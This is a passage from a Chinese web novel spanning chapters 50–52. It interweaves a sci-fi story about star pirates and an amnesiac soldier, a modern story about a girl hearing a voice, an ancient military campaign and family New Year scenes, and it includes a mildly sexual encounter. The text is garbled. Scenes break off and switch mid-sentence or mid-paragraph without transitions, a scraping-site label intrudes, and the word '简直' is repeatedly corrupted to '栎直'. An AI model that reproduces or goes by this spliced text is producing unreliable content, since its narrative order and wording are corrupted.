其余人不知道商时驹所想,注意到商时驹的视线后,立刻上前表忠心,“老大放心,我们一定帮你看好他!!” 还顺腿踹了一脚,一手“卖前老大”的技术看起来相当熟练。 商时驹对这些话不置可否,但还是无所谓地应了声“好”。 这块区域其实是星舰上的临时拘禁室,就算他们跑也跑不到哪去。 一众星盗还不知道自己已经沦为犯人待遇了,在得到商时驹应允之后,就欢天喜地四散找房间(牢房)去了。 弗斯的“房间”是商时驹亲自挑的,商时驹本来不打算这么早问情报的,却没想到他准备关门的时候,对方突然开口,“你们是为星熠来的?你们想把他带回去?他会怎么样?” 星熠,是那个少年的名字。 “带回去”这个说法可很有意思了…… 商时驹脚步顿了顿,抬眼看了过去。 他没否认这个说法,而是顺着对方的话说了下去,“他会很好,起码身体状况有保障。你不也看见了吗?” 夏乐栎没法回应什么,她还在发抖。 周州觉得自己现在应该更歉意更愧疚才对,但是好像什么都没有。 久违的熟悉状态,他平静又冷静地判断出自己应该做什么。 [我还在这里。] 他并没有推开夏乐栎,而是轻轻触摸着她的上臂安抚,一边带着她放缓呼吸,一边引导着她主动触摸来进行确认,[你看,你能碰到我。] 商时驹清楚自己在做梦。 虽然自己主动接受的催眠,但被限制的精神力仍旧不甘桎梏地冲击着壁垒,试图在梦境中唤起主人对过往的记忆。这也是商时驹对自己的“失忆”毫无慌张的原因,迟早会想起来、区别只在于时间早晚而已。 只是这次的梦境让人颇为不快。 周围都是面目模糊的人,他看不清那些人的脸,连传入耳中的声音都是断断续续的“啊,是那个3S啊”、“这个精神力等级,怪不得”、“不愧是3S”、“毕竟3S么”……模糊的声音重叠在一起变成混乱又嘈杂的噪音,让人越发心烦意乱。 ——3S、3S的,烦死了!!夏乐栎低低地“嗯”了一声。 她没有精神力,和后方之间的沟通只能用这种“原始”的方式。 不过,夏乐栎确实有点走神。 她拧着眉,语气不太舒服地低声开口:“好像有人在看我。” 宋沃的话卡了一下。 他当然知道让夏乐栎来这么格格不入的地方肯定很吸引眼球,但是他们这不是在钓鱼吗?要的就是引人注目啊。 宋沃顿了一下,开口安抚,“夫人您放心,这个情报所在联盟的控制之下,里面有我们的人,不会让您受伤的。您身上的S-35系列是军部最新式防护设备,安全性绝对有保障。” 夏乐栎倒是不担心安全问题。 虽然不知道宋沃到底怎么跟科研院协商的,居然能让后者松口让她来外域,但她要是有个万一,宋沃的职业生涯绝对完蛋。有着这一层面考虑,对方对她的安危肯定比自己还上心。 夏乐栎只是觉得那些目光让人很不舒服,露骨的、恶意的、带着评估意味打量的。 就在她忍不住想要转过头去寻找那一道道视线的源头的时候,那些让人不快的注视突然消失了。 夏乐栎有点疑惑地左右看了看,酒吧中的嘈杂声依旧,刚才那点莫名的不适仿佛只是错觉。 是她神经过敏? 也有可能。毕竟是第一次来这种地方。 夏乐栎这边沉默了太久,那边宋沃原本信誓旦旦保证的语调也渐渐动摇起来。 他犹豫了一下,还是开口,“是我欠考虑了。夫人要是觉得不舒服,就先出来吧,咱们可以再想别的办法。” 总觉得等顶头上司恢复记忆,就今天这事就足够他被抽筋扒皮了。 但要真出了3S叛逃的事,整个联盟都得炸了,军部根本承受不住这种压力。压力层层转嫁,最后落到他这个苦逼打工人身上,他也很苦啊! 夏乐栎不知道宋沃这么多内心纠结,说实话,她觉得对方有点小题大做了。 毕竟她还是了解自己丈夫的,虽然偶尔皮一下,但是确实正直善良、有同情心,有自己的底线和坚守。这么一个人,就算是失忆了,也不可能像宋沃说的那样叛逃联盟……她觉得对方完全是在瞎担心。 这些想法转过,夏乐栎还是回答了宋沃的话,“没关系,我还好。” 早点把人接回来也好,一直在外面也不是个事。 引起注意力啊…… 夏乐栎想了想,起身走到了吧台旁边。 随着她的动作,又有几道视线跟随而来,但是很快就像是忌惮着什么似的纷纷收回。夏乐栎倒是没察觉这点细微的变化,她这会儿站在吧台前,看着眼前的酒单,陷入沉默。 纷杂重叠的噪声中,突然有一道格外清晰的声音传来,“你叫什么名字?” 遥远的声音像是从星海深处传来,却将眼前万花筒般旋转的画面固定下来,商时驹也终于看清了这次梦境的场景。 似乎是一个研究所,背景中穿着白大褂的人走来走去,但是在他眼前却站了一个和他年龄仿佛、好像还要略微小几岁的小姑娘。 她身形已经抽条出少女的样子,但脸颊上还带着点未褪的婴儿肥。 似乎也是知道自己这样子看起来很没有说服力,她努力板起脸来,试图营造出专业的气场。 说实话,有点反效果。 久久没有得到回答,对面的女孩忍不住紧了紧眉。 她抬手推了下眼镜,用触控笔敲了敲前面半透明的光板,语气不太好地重复了一遍,“名字。我总不能叫你3S吧?” 包裹束缚的茧壳突然被人敲裂了,一片漆黑的环境中,有一隙光出现。 商时驹听见梦境里的那个人开口,“我叫——□□。” 但和记忆中的那股怔然触动不同,商时驹觉得自己这会儿有点气闷。 ——什么嘛!根本没记住啊。 低垂着的睫毛颤了颤,眼皮掀开。 随着表层意识清醒,梦境中纷乱的记忆如潮水般褪去,商时驹盯着上方的睡眠舱舱壁发了会儿呆,“没记住”三个大字在脑子来来回回荡了好几圈。 按理说他都习惯了这种“一觉睡醒,梦里的回忆忘得七七八八”的情况了,但是不知道为什么、这次格外生气。 商时驹盯着那空白的金属板生了半天闷气,他掀开舱壁,准备去训练室活动活动筋骨。 但是等走到外面的回廊上,看见那道透过舷窗往外看的身影时,情绪却一下子平缓下去。他只用了一秒不到就放弃了去训练室的想法,快步往对方身边走去。 这个念头冒出来,商时驹觉得他最好给心理医生打个电话,该看看脑子的可能不止夏乐栎一个。 但是停顿了片刻,他却拨出了另一个号码。 “桥头的那个案子,有照片吗?不是现场,是附近的巷子,嫌疑人出来的路……” 商时驹说到这里,停顿了一下,也意识到自己是病急乱投医了。 就是因为监控是坏的,后面找人才那么困难,还是根据夏乐栎口述的特征。 不过说起口述来—— 他话锋一转:“那天的询问记录给我……不要笔录,要录音原版。” 一开始,他的确觉得是“因为脑子有毛病”。 但单纯的脑子有毛病、能做到这种程度吗? 第 50 章 第 50 章 夏乐栎睡不着。 只要一阖眼,白天的那一幕就在眼前重放,她不得不把目光转过去,确认周州还在。 但是即便看到了,更多的细节问题又浮上心头:他身影是不是比之前浅了一点了?边缘轮廓有没有变得模糊? 夏乐栎知道自己这是神经过敏,但是任谁遇到这种事也不可能安心睡着啊! 反复几次之后,她听到了一声轻轻的叹息。 那道身影往前飘了几步,毫无重量地落到了床头。 夏乐栎怔了一下。 她抬头看向周州,保持着视线接触,试探地一点点伸出手。抬起的手臂轻轻碰触了对方身侧。并没有肢体接触的实感,但在她的感知里、确确实实“碰到了什么”。 夏乐栎正看窗外的星海,突然听到后面一声,“好看吗?” 因为对方走过来的时候刻意加重了脚步声,夏乐栎倒是没被这突然出现的声音吓到。 舷窗之外,星星的光芒透过遥远的不知几次跃迁才能达到的距离被眼睛捕捉,透过瞳眸倒映在眼底,神经再将这信号传到大脑之中,在意识层面被解析成了一幅璀璨星河的美丽图景。 “好看。”门被啪嗒一声打开,夏乐栎还没反应过来就被推进去按在了门上。 刚刚打开的门扉在身后阖上,炙热的吻落下来,颈后的手掌略显粗暴的揉按,没几下就把颈上的系带扯了下来。 夏乐栎喘着气想摘眼镜,刚刚碰到就被按住了手腕。 勾缠的唇舌退出了点,潮热的声音在耳畔响起,“别摘。” 夏乐栎思绪模糊了一下,却有点想骂人。 都失忆了,这癖.好居然还没有改!亲的时候会碰到啊…… 被蹭得散落的头发被往一侧撩起,含吻从耳侧一点点往后颈上落,夏乐栎含糊地警告了一句“不许咬”,手也在对方身上摸索着去解衬衫扣子,醉酒的手指不太灵活,解了几下没有解开,就变成了胡乱地扯。 似乎也注意到这边的困境,商时驹空出手来帮了个忙,崩掉的纽扣滚落一边,衬衫也被团成了一团扔在了地上,商时驹想要再覆过来,却被一只手抵在了肩侧锁骨的地方。 夏乐栎在上面摩挲了几下。 上次酒店的时候被毛巾挡住了没看见,今天再看才注意到,商时驹肩膀这里不知道什么时候多了个刺青。 “赏金猎人的纹章。”察觉了夏乐栎的兴趣,商时驹解释了一句,低哑的笑意在耳畔带出了阵阵热气,他轻声接上,“他身上没有吧?我记得,联盟规矩很多。” 因为酒精运转迟缓的脑子一时都有点打结,夏乐栎反应好一会儿,才明白过来这个“他”是指谁。 商时驹倒是接着问:“喜欢吗?” 夏乐栎摇摇头。 她对这东西没有特殊偏好。 不过…… 夏乐栎努力尝试和商时驹的脑回路接轨,“他……应该挺喜欢的。” 都失忆了,还对联盟的禁止事项念念不忘,趁着机会给自己搞一个,应该是特别喜欢了。 “有点品味。”商时驹短促地笑了一声,夏乐栎总觉得那笑声有点冷。他又接着问,“还有别的喜欢的吗?” 夏乐栎茫然回视。 商时驹挑了挑唇,摩挲着手感细腻的后颈,非常“好心”地帮忙缩小了答案范围:“我是说‘姿势’,他有什么喜欢的姿势吗?” 见夏乐栎真的一副蹙眉沉思、认真回忆的样子,商时驹都要气笑了。 “没关系,慢慢想,我可以帮你回忆一下。” 这显得有点阴恻恻的语调落下,夏乐栎被打横抱起,三两步带到了床边扔了上去。健硕的身躯压了上来,夏乐栎却屈起膝盖抵住了人。 商时驹动作停顿了片刻,就见夏乐栎一脸严肃地强调:“不喜欢。” 商时驹这下子是真的要冷笑了。 他觉得对方最好搞搞清楚状况! 但却听夏乐栎接着,“我不喜欢。” 夏乐栎看着外面的星空,给出了一个公平公允的评价。 如果按照原定计划,两人现在应该正在蜜月旅途中,夏乐栎或许有闲心欣赏一下外面的漂亮景色,不过现在她只关心一个问题,“咱们什么时候能到第九域?” 星舰的舰身一阵突如其来的剧烈晃动,夏乐栎的第一反应是遇到风暴流了。 她匆匆赶往驾驶室,商时驹早就在里面,看见过来的夏乐栎笑了下,“你来的正好,我刚要去找你呢。” 夏乐栎刚想问发生了什么,舰身突然一个45度倾斜,重力系统当然是和舰身同步反应的,但是夏乐栎却没有经历过类似训练,大脑一阵无法适应的眩晕,差点栽倒在地。 摔下去之前,被人稳稳地抱在了怀里。 商时驹把夏乐栎抱到了驾驶座位上,顺便系好了固定带。 星舰还在颠簸着旋转,大脑的认知和舰身稳定的重力系统相悖,夏乐栎坐在座位上都一阵眩晕,商时驹倒是稳稳地站在原地。 他抬手在眼前的控制面板上操作了几下,原本的控制台向两侧打开,露出了下面看起来更加精密复杂,但绝对不是普通星舰驾驶的操作台。 商时驹只指着其中一个按钮,交代了一句“有问题按这个”,就脚步匆匆想往外走。 夏乐栎头昏脑涨,但还是下意识拽住了人:“你干什么去?!” 商时驹看着自己被抓住的手腕愣了一下,旋即忍不住笑。 他轻轻抓着夏乐栎的手背放开,温声,“别担心,我很快就回来。” 夏乐栎:……你倒是说清楚现在什么情况啊!! 夏乐栎很快就知道商时驹是干什么去的了。 眼前的屏幕被大大小小切割成很多块,夏乐栎一阵眼花缭乱,但眼睛还是凭着本能锁定了画面在不断变化的那一块区域,很快就意识到这是机甲上传回来的画面:商时驹驾驶机甲出去了。 另一边,那艘被逼近的混搭星舰上也是一阵手忙脚乱。 有人忍不住大声质问:“怎么回事?不是说是中央区来的冤大头吗?!” “这这、这……很正常吧!中央区的那些大少爷大小姐出门都是带保镖的,怎么可能自己就出来了?!” 倒是有人大着胆子,“才一台机甲而已,怕什么!” 这人显然是负责操作攻击的那一位,说着话呢,星舰个火力倾泻而出。 能量的冲击映亮了星空,这艘破烂星舰的供能系统发出了不堪重负的嗡鸣声,但火力覆盖带来的安全感让舰上的人不约而同地松口气。 可等攻击带来的光污染散去,那台簇新的机甲连点擦伤都没有。 星舰上众人:“……” 许久,不知道是谁小声嘀咕,“不愧是联盟的机甲。” 到底是机甲还是里面的驾驶人,这实在是个值得商榷的问题。 但是他们还是情愿认为是前者,起码技能点在防御点上,感觉起来更安全。 一阵七嘴八舌的讨论后,有人禁不住小声提议:“今天可能不适合开张,我们还是……” 没说完的话在弗斯冷冰冰的注视下渐渐消音,出声的人讷讷叫了声“老大”就低头当鹌鹑了。 弗斯痛心疾首。 ——和这么一群废物点心在一起,他什么时候能成为八域的人上人上! 懒得理这一群废物,他拍了拍旁边的少年,“星熠。” 不就是机甲吗?他们这里也有!! 少年低低应了一声,转身向着出舱口走去。 商时驹到显得很悠哉:“夫人也太心急了。” 他这么说着,又往前走近了几步,这其实有点越过了陌生人之间的安全距离了,但夏乐栎没什么感觉……她也很难有什么感觉。 商时驹试探性地抬手,夏乐栎在他手臂抬起来之前,就自然往侧边挪了两步,给他让开了位置。 商时驹不着痕迹地挑了下眉。 有时候真看不出来这位夫人是无意的,还是有心为之。 要真是后者……他承认,他被勾得有点找不着北了。 明明一副公事公办的冷淡态度,但是对他越界的举动却报以默许的态度,但他想要真的打破那条线的时候,又被冷冰冰地拉开距离。 若即若离的,让人心底仿佛有小虫子在爬。 就像是现在这样,商时驹轻轻磨了磨后槽牙,才压下了那到喉间的痒意。 去异监局和周州家顺路,夏乐栎也没拒绝商时驹送。 只是出门的时候遇到点意外,都快走到小区门口了,商时驹发现没带车钥匙。他让夏乐栎自己先往前走,自己折返回去拿。 还没进门,倒是先遇到了白姨。 后者像是匆匆赶下来,上来就半是责备地,“驹驹你咋能这样呢?人家姑娘在你这儿过了一夜,你就叫人家自己回去?” 商时驹刚想解释,白姨就已经一摆手,“你这孩子咋不懂事?晚上是一档子事,白天又另一档子事。你这么着,人家姑娘说不定心里怎么委屈呢。” 商时驹:“什么?” 这有什么好委屈的? 白姨明示,“我刚在楼上看着呢,那小姑娘一路打了好几个哈欠,昨天晚上没睡好吧?” 商时驹拧了下眉,“那是——” “行了,不用解释,都是那会儿过来的,年轻人的事我也懂。你晚上闹人家就闹人家,白天多少给我体贴着点。”看商时驹还僵站着不动,白姨恨铁不成钢地把人往外推,“怎么就这么拙呢?快去送送。你说这么多年了,怎么就没跟小周学着点,哄个小姑娘都不会。” 商时驹:“……” 突然有种熟悉的、替周州背锅的糟心感。【你现在阅读的是 】 50-60 第 51 章 第 51 章(看作话) 夏乐栎一回去就打开了电脑,在一整个上午的忙忙碌碌之后,终于修出的一张成品照片。 虽然一早就猜到夏乐栎想干什么,又旁观了整个修图过程,但是最后的成品出来的时候,周州还是有片刻恍惚。 阳光透过玻璃穹顶洒落,在盛开的花枝上投下斑驳的光影——是游轮上的照片。 既然被选为情侣活动打卡点,花房本身就是西蒙号的拍照地之一,活动后续也有挑选照片的一环。虽然因为种种意外,夏乐栎最后“选照片”环节完全没能成行,主办方还是通过邮箱把过程中照片发过来了。 只不过现在,原本对着花丛微笑女人身旁多了一道青年的身影。 明明是后加上去的,但是却非常和谐。 不单单是因为修图上的调整,周州想起来了,那个时候他就站在那里。 周州突然被叫起来还有点懵,但听到消息瞬间就清醒过来。 他开口便问:“怎么回事?!” 这次奉诏讨贼、平定叛乱,息州那边才是主力,周州这边充其量算是干扰敌方的偏师,所以先前安恭义才敢那么毫不掩饰地克扣禹州这边军资。问就是优先供应息州,周州还真没话说。 副将:“节帅突发旧疾,已经卧病数日。” 周州脸色微变。客厅。 夏乐栎刚把杯子放在饮水机的凉水座上,就听见厨房里传来她妈的声音,“大冬天的,别老喝些凉的。” 夏乐栎:“……”曾经风靡的春晚都快成了时代的眼泪了,但是因为夏奶奶的坚持,家里还放着它当背景音。 往年是当背景音的,但是这一次因为冷战的缘故,夏乐栎连手机都不想拿出来、假装认真地看春晚。 但紧接着,夏乐栎就发现,自己是“假装认真”,身体里的另一个人是真的很认真。 夏乐栎:“……” 更生气了啊! 她起来就要走开。 刚刚有动作,就听夏奶奶开口,“栎栎这就回房间了啊?” 夏乐栎愣了一下。 老太太有些浑浊的眼睛落了过来,话中带着不太明显的挽留意味。 夏乐栎偏头往旁边看了看,爸妈都在各自低头看着手机,要么给同事给朋友编辑拜年消息、要么忙里偷闲刷会儿短视频,似乎没注意到这边的对话。认真看电视屏幕的只有奶奶一个,也或许奶奶也没有认真再看。 夏乐栎突然有点明白,奶奶并不是坚持看春晚,而是想要有人陪着她一起看春晚……就像是爷爷还在的时候一样。 夏乐栎顿了一下,解释,“没,我去倒杯水。” 夏奶奶一下子笑了,“哎呀,我来我来。栎栎就喝水?饺子汤要不要啊?” “要~” “……” “……” 夏乐栎发现,春晚似乎也没有想象中的那么无聊,特别是一边看,一边听着奶奶讲“过去怎么样怎么样”恍惚有种穿越时光隧道,回到了好多年前的感觉。 等春节的倒计时响起,对着手机忙忙碌碌的夏爸夏妈也抽出些空闲,抬起头来。 “妈过年好!”/“妈过年好!” “奶奶过年好!” 夏奶奶笑得脸上的皱纹都深了许多,“都好、都好!” 又拿出了给夏乐栎的压岁红包。 夏乐栎又和爸妈问了好。 得到红包x2(手机转账版)。 忙碌完这一系列年节惯例后,夏乐栎抬头往外看。 窗外有烟花腾空,在黑暗中绽起了明亮的焰色,短暂的盛放后又倏忽坠落,但很快就有下一个接上。 夏乐栎顿了一下,到底在心底小声说了句,[过年好。] [过年好!] 周州本来看着那烟花若有所思,但听到夏乐栎的话后,立刻回神。 他回得很快,紧接着又接上,[你不生气了?] 夏乐栎被噎了一下。 怎么仿佛她很小肚鸡肠的样子?明明是这个人太讨人嫌了吧?! 大过年的,夏乐栎决定不和这人一般计较了,她宽宏大量地把事情翻了篇,总算有机会问起对面的战事情况。 但看周州这还有闲心过来招人嫌的样子,情况应该挺好的。 事实也确实如此,周州态度轻松地表示一切顺利。 还不等夏乐栎再仔细问问,就听见旁边就传来一阵音量很大的夕阳红音乐,是夏奶奶的手机。 老年人对这种智能设备不太熟悉,夏奶奶用一种让夏乐栎看着都担心的力道狠戳了几下手机屏幕,纳闷:“栎栎你过来看看,怎么不出声啊?也看不见人。” 夏乐栎凑了过去。 周州已经被夏乐栎解释过手机的用途,但这还是第一次实际看到视频电话。 开启状态的前置摄像拍摄到了少女清丽面孔,扎高的丸子头旁边是两个映着新年喜庆氛围的红色绒球,几缕碎发顺着额角的弧度落在鬓边,露出了光洁饱满的额头。 周州还没看清,就见那画面骤然缩小到一边,主屏幕上出现了一个陌生的中年女人的脸。 夏乐栎熟门熟路地问好:“姑姑过年好!” 夏奶奶的手机都是默认设置,估计老太太刚才接视频的时候不小心碰到了,把扬声器给关了、又把自己这边的视频切换成了主画面,这才有了“不出声”“也看不见人”的说法。 对面的夏姑姑一脸惊喜,“是栎栎啊!过年好~这孩子、越大越漂亮了,果然是大城市养人,昕昕、昕昕快过来看你姐,我可跟你说……” 夏乐栎眼皮一跳,“姑!奶奶等着和你说话呢。” 她要是刘昕昕,栎直恨死这个表姐了。夏姑姑栎直在不遗余力地破坏她的人际关系。 周州目光落在右下角缩小显示的画面上。 少女原本轻轻弯起的杏眼瞪圆,嘴唇也略微抿起,整个人都显出些紧绷的神态。 他低声:[确实……] 挺漂亮的。 [什么?] 终于把手机递还给夏奶奶、大松口气的夏乐栎模糊听到点声音,不由问了一句。 周州骤然回神,[没什么。] 夏乐栎:明显有什么吧! 还不等她追问清楚,那道意识骤然中断。 周州离开了。 夏乐栎:? 她愣了一下,回神才意识到:也差不多。周州可在这儿看了一整个春晚,他那边是大白天的,又不是睡觉的点,什么时候离开都很正常。 只是夏乐栎抬手摸了摸有点痒的嗓子,心下纳闷。 奇怪,刚才说话太大声了吗? 她应该没弄出什么声音吧? 说实话,夏乐栎至今没弄明白她妈到底怎么精准地锁定她的位置和行动的。 她动作稍微顿下,但紧接着就在那一连串哆哆剁菜声中,提高音量扬声应了一句“好”,同时自然而然地拨开了蓝色接水口。 喝热水?怎么可能? 没有在暖气房里吃雪糕已经是她对这个家最大的尊重了。 事实证明,说谎是要遭到报应的,夏乐栎刚刚把杯子端起来,就听见一个说不上熟悉,但绝对印象深刻的声音——[这是什么?] 夏乐栎手一抖,杯子直接砸到了地上。 伴随着这“咣当”的一下声响,厨房的声音一停,夏母匆匆出来,急着声问,“怎么了?” 看了这一地碎片,她先是急着看夏乐栎,问:“手没事吧?划着没?” 夏乐栎表情勉强地摇了摇头。 她想要说什么,但在对面亲妈明显过度紧张的神情下,又咽下去:要是这会儿说了,绝对会演变成家庭大事件。 夏乐栎顿了一下,佯作自然地开口,“我把碎片清理一下。” 却被夏母赶苍蝇似地往旁边赶去,“去去去,添什么乱呢?一边呆着去。” 夏乐栎:“……” 在名为“帮忙”,实则“碍手碍脚”地协助完亲妈处理了自己造成的残局之后,夏乐栎端着一杯崭新的、冒着热气的水回到了自己的房间。 她心不在焉地把杯子往旁边一放,摇晃着鼠标打断电脑休眠,打开搜索引擎。 在对着键盘表情凝重地思索了一会儿后,夏乐栎深吸了口气,抖着手键入了关键词“精神分裂的自我诊断”。 她之前也查了一点内容,得到了一堆类似于“听觉幻象”“内心言语”“布罗卡氏区”之类的专业术语,但这些描述都和她自己似乎都不那么相符合。倒是无意间瞥到的一句“精神分裂的感知觉障碍表现”让她心底一突,晚上辗转了好久。 ……不会那么惨吧? 在刚才的那句询问之后,那声音就没再出声,但是夏乐栎就是有种“他还没走的”感觉,证据之一就是现在胸腔中翻涌的压都压不下去的情绪。 明明这么凝重严肃的时候,心底却莫名有一种又疑惑又好奇还跃跃欲试的探索欲。 ——就不能让人好好沉重一下吗?! 夏乐栎强行忍耐了一会儿,但是对方好似浑然不觉,随着页面的跳转,那惊异好奇的情绪越发充溢胸腔。明明屏幕上每一行字都是沉重的病理性描述,但是夏乐栎这会儿满心都是“哇”“哦”之类的感叹词情绪。 在对方再度开口询问“什么叫‘病因未明的重性精神病’”时,夏乐栎终于绷不住了,她哽着声指责,“你别太过分了!” 周州:??? 他干什么了?他只是问了个问题而已。 不单单是安思范突发旧疾这件事,而是对方卧病这消息都传到他这里来了。息州那一路当然也有能暂代领兵的将领,但是主帅卧病、动摇的是军心。 周州:“大哥怎么说?” 周州口中的“大哥”指的是安恒德,后者是跟随安思范最早,也是他麾下最年长的义子,性格敦厚持重、一向很能服众。如今安思范卧病,军中应当是对方暂代事务。 事实也确实如此,但是副将给出的回答却并不乐观,“息州情势不佳、节帅的身体也需要修养,安将军的意思是暂回朔州休整、以图来日。” 这就是撤军的意思了。 周州跟这位大哥的关系还不错,对方这会儿特地来知会他一声,就是免得主力撤退,周州在禹州被人包了饺子。 副将也明白对方意思,不由问:“咱们要撤吗?” 周州拧眉思索了一会儿,却是沉着声:“不能撤。” 这倒不是考虑到下诏讨贼的顺帝怎么样。反正这位陛下都是跑路的熟练工了,从洛都到凤城再到上阳、总有愿意接驾的冤大头,但周州现在考虑的是别的。 他咬着牙:“我要是撤了,这次的屎盆子绝对扣在我头上了!” 朔州现在可是安恭义掌事,趁着安思范卧病的机会治他个战事不力,赶在安思范好起来之前先斩后奏“军法处置”……这事安恭义又不是没干过。 周州这么一说,副将也意识到问题,不由面露难色。 说话间,周州已经走到了一旁的舆图前。 他盯着看了一会儿,缓声开口,“弃禹定,取锦平。” 副将错愕,“将军的意思是……” 周州扯着唇笑了下,眉宇间一派锋利的锐气,“既然退是退不了,不如干脆干票大的!” 捣了孙成举那厮的大本营。 周州这会儿的情绪挺平静的。 厮杀的热血冷却下来,连夜未眠的疲倦涌上,他打了个哈欠,眯着眼抬手挡了挡有点刺眼的晨光。指隙的光影落入眼中,周州略微出了会儿神,突然想起来:那边该是除夕了吧? 他犹豫了一下,抬脚往自己暂歇的房里走去,对着门口的亲兵吩咐,“你们守着,我睡会儿。” * 陈显卡着点打卡下班,没想到会看见这情况。 要是搁在一天以前,他肯定记住时间地点,再悄悄路过,等下次见商时驹时候翻出来使劲调侃几句。 但现在嘛~ 他有点恍惚。 “陈哥,你不走啊?” 背后的声音挺熟悉的,是调查组那边的余项。 要是以前陈显肯定随便扯个理由躲开了,但是这次、他一把薅住了人。 余项不解:“陈哥?” 他顺着陈显的示意往那边看,才刚认出人来,就听旁边一句沉重的,“你的‘嫂子’,是哪个嫂子?” 余项:……? 第 52 章 第 52 章 虽然被商时驹突然抬头吓了一跳,但夏乐栎飞快镇定下来。 冷静点,不过是拍照被抓包了而已。 虽然看起来像是要挨揍的样子,但那可是时驹哥! 夏乐栎深吸口气,强行镇定地往前走了几步。 但她刚刚站定,还没来得及组织好语言(找好借口),相机就被拿走了。 商时驹拎着相机转了个圈,因为脖子上的挂带的缘故,夏乐栎被迫往前靠近了一点。 ——太近了! 息州。周州这会儿正带兵追击孙成举残部。 孙成举追得狼狈逃窜,这会儿只想破口大骂:到底是那个废物刺探来的情报?!说是周州和如今留守朔州的安恭义不合,后者必定要给周州使绊子。巧妇难为无米之炊,纵使周州再怎么天纵奇才、将星入世,军资受阻、一样守不住禹定。 那姓周的守禹定吗?他根本没守,直奔着他的锦平来了!! 这么想想,恐怕息州那边的消息,安思范老贼的病也是装的,是为了让他放松警惕。 阴险!真是太阴险了!! 孙成举越发咬牙,可是看看身边神情惶惶的残部,他不得不冷静下来。他定了定神,对着左右下令道:“不能再退了!整兵、准备迎击!” 身侧的将领却面露迟疑之色。 孙成举当即就要骂人,但是念及如今的形势,到底还是忍住了,压着气道:“那周小儿惯当先锋,如今他虽来势汹汹,到底人数寡少,能以力克之……不现在冲了他的阵,难不成真的等安思范大军压过来吗?!” 说到最后,声调拔高得都有些破音。 眼见着主帅都要抽刀了,那将领忙领命而去。夏乐栎最后也没和爸妈说那天自己在飞机上的诡异经历。 因为从机场出来之后,那道莫名的声音就没再出现。 夏乐栎乐观地想着:说不定只是意外呢。孙成举那边的变动也传到了周州这里,周州微微沉吟了一下,出声叫了停,“差不多行了,先别追了。” 这一路疾行过来、兵疲马倦的,早就战力减损了大半,也就是打孙成军一个措手不及,对面摸不清形式不敢硬抗。但要真的正面对上,他们这点人还不够人家塞牙缝的呢。 副将当然也知道这个道理,但是却拧了拧眉,迟疑:“万一被发现不对……” 他们这点人,也就是趁势追击、让对方心生畏惧,这才把人撵着跑。等一停下来,那边冷静想想,很容易就发现不对,到时候他们可就麻烦了。 说到底,能坐到一方节度使的位置上,孙成举也不是傻子。 周州哼笑,“放心。那姓孙的能反应过来,他手下的兵可不一定听他的。” 事实确实如周州预料的,孙成举察觉周州这边露出疲势,立刻就猜到对方人数不多。 可他刚刚心生喜意,准备勒令回击的时候,却发现刚刚成阵势的部众一下溃散了——被追得走投无路,当然愿意反戈一击,可是现在敌人都不追了,他们干什么去自讨苦吃? 孙成举再怎么有心打回去,也没法唤起一支毫无战意的大军,只得咬牙退去。 一夜之间,锦平易主。 但是周州手底下的人不多,只控制住城内几个关键所在,其他地方就任由他们自去了。城里的豪族也不是傻子,见此情况,心中都有自己的猜测。于是天色刚明,周州就收到赴宴的邀约。 周州扫了两眼,就把那帖子往旁边一扔,不客气地开口:“大清早的,赴个屁的宴!” 宴无好宴,试探的意思都摆在脸上了。 先是长途奔袭又是连夜接战,好不容易稍微喘口气了,又得应付这些人。 周州身上的低气压栎直肉眼可见,带着昨夜厮杀后未散的血气,整个人都显得阴森森的。 正巧这会儿副将引着一个中年文人前来,一进来就见周州这一副索命的怨鬼样儿,不由脚步一顿。 他身侧那人也没想到会看见这情形,但也只是愣了一下,很快就恢复常色。 副将尴尬地“咳”了一声……好几声,才勉强拉过周州的注意力。 周州原本有气无力瞥过去目光在落到副将身侧的人时略略愣了一下,“你不是……?” 那人适时上前一步,抱拳行礼,“节帅吩咐某静候于此,待周将军佳音。” 这人是安思范安插在锦平城内的内应。 周州本来就对这人有点印象,再加上副将赵敦益为人一向谨慎,既是他带着人过来,必定是已经查验过身份了,这会儿便没再多此一举地问询些什么,而是松口气问道:“义父没事了?” 既然还有精力能做出这些安排,想来情况不错。 周州是真的大松口气,若是没有大军接应,他这锦平城就是打下来也守不了几天。 对面那人回:“得知周将军捣敌咽喉的骁勇之举,节帅甚为欣悦。大喜之下,病势不药自去。” 来人对周州解说了一番锦平城内的情况,又告知息州那边大军动向,对现在情况有数的周州总算眉头稍展,不复先前那怨气森森的模样了。 话题暂时告一段落,杜彦之注意到桌边的帖子,“这是?” 周州瞥了一眼,不在意道:“是王家还是钱家送来的宴帖。” 杜彦之:“城东的吴氏?” 周州这才“哦”了一声,杜彦之还待开口说什么,周州已经把帖子往旁边亲兵手里一塞,径直吩咐,“让他们等着罢。” 亲兵一点没耽搁地领命而去,本还想说什么的杜彦之:“……” 城东的吴家是东淄吴氏的旁支,其宗族庞大、不仅仅影响锦平一地,能打好关系还是打好关系的好。况且就算不想那么远,和吴氏交好,对控制城中情况也有好处。 杜彦之这么想着,看看上首的周州,到底没说什么。 就周州这态度,真的赴了宴,是结交还是结仇真的不好说。 这边,周州吩咐完了,又瞥了杜彦之一眼。 后者被看得一愣,但到底是能当卧底的人才,立刻就明白了周州的意思,会意地拱了拱手,“将军既无要事,在下便先行告退。” 杜彦之走后,副将纳闷地看着周州,“你有事?” 赶人的态度也太明显了。 能被送来锦平当内应,这人可是节帅心腹,周州的身份倒也不至于讨好,但是客气点总是没错的。结果他可倒好,连杯茶都没让喝,直接赶人了。 周州半点不停地“嗯”了声,非常干脆地给出回答:“睡觉!” 副将:“啊?!” 大清早的,睡什么觉啊? 周州可半点不觉得有问题。 ——当然要睡觉! 果然,接下来的一整天都无事发生。夏乐栎是被胃里的饱腹感拉回心神的。 她看着自己那走神间还在“无意识”夹菜的手,懵了一下。 三秒后,她强行按住了还想往前伸手,郑重把筷子放在碗上,“我吃饱了。” 章琪下意识地开口劝,“不再吃点?” 才刚说完,就看着夏乐栎身前的空碗,和那个方向少了一大半的菜。她不由一顿。 卡了好半天,章琪才再度开口,“……行了,你去玩吧。” 这孩子,真是在学校饿坏了。 顿了下,又提要求,“别回屋就坐那儿不动了,出去走走消化消化。” 夏乐栎心不在焉地“嗯嗯”应声,眼睛还盯在桌上的空碗上。 她做了会儿心理准备,才犹豫着出声,“妈,有同学叫我玩儿,我下午出去一趟。” 章琪有点诧异地看向夏乐栎,没想到一向不爱出门的女儿居然主动要求出去。 不过想想对方高中的朋友都半年没见了,想见见面也正常。 “好,早点回来。”想着,章琪没太在意地随口应下,又问,“钱够用吗?不够妈妈给你转。” 